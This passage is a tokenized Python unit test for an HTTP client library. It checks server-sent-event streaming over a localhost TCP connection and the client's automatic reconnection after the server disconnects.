"\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "PU", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", ";", " ", "charset", "=", "utf", "-", "8", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "first", "'_", ":_", "'", "Joh", "n", "'_", ",_", "'", "last", "'_", ":_", "'", "Smi", "th", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mid", "'_", ":_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "drop", "'_", ":_", "'.", "pu", "ff", ".", "repl", "y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Stream_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "stream", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Stream_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "store_", "=_", "stor", "ing_", "._", "Store_", "(_", "stamp_", "=_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "store_", "=_", "store_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "store_", "=_", "store_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connector_", "._", "connected_", "and_", "beta_", "._", "connector_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "connector_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "stream", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "from", " ", "{", "0", "}:", "{", "1", "},", " ", "{", "2", "}", " ", "{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "beta_", "._", "connector_", "._", "ha_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "ha_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "method", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "path", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "beta_", "._", "requests_", "or_", "beta_", "._", "connector_", "._", "tx", "es_", ")_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "0", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "1", "\\\\", "ndata", ":", " ", "1", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "2", "\\\\", "ndata", ":", " ", "3", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "3", "\\\\", "ndata", ":", " ", "5", "\\\\", "ndata", ":", " ", "6", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "4", "\\\\", "ndata", ":", " ", "7", "\\\\", "ndata", ":", " ", "8", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Stor", "e", "Timer_", "(_", "store_", "=_", "store_", ",_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "timed", " ", "out", " ", "whi", "le", " ", "stream", " ", "still", " ", "open", " ", "so", " ", "no", " ", "response", "s", " ", "in", " ", ".", "responses_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "are", " ", "events", " ", "in", " ", ".", "events_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "events_", ")_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "lei", "d_", ",_", "'", "4", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "beta_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "beta_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "\\\\", "n2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "beta_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "3", "\\\\", "n4", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "events_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "alpha", "'", "s", " ", "ix", "Beta", " ", "connecti", "on", " ", "shut", "down", " ", "prem", "ature", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Disconnect", "ing", " ", "server", " ", "so", " ", "beta", " ", "must", " ", "auto", " ", "reconnect", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "close", "Ix", "_", "(_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "remove", "Ix", "_", "(_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "beta_", "._", "connector_", "._", "connected_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Auto", " ", "reconnect", "ing", " ", "beta", " ", "and", " ", "rer", "eque", "stin", "g", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connector_", "._", "connected_", "and_", "beta_", "._", "connector_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "connector_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", 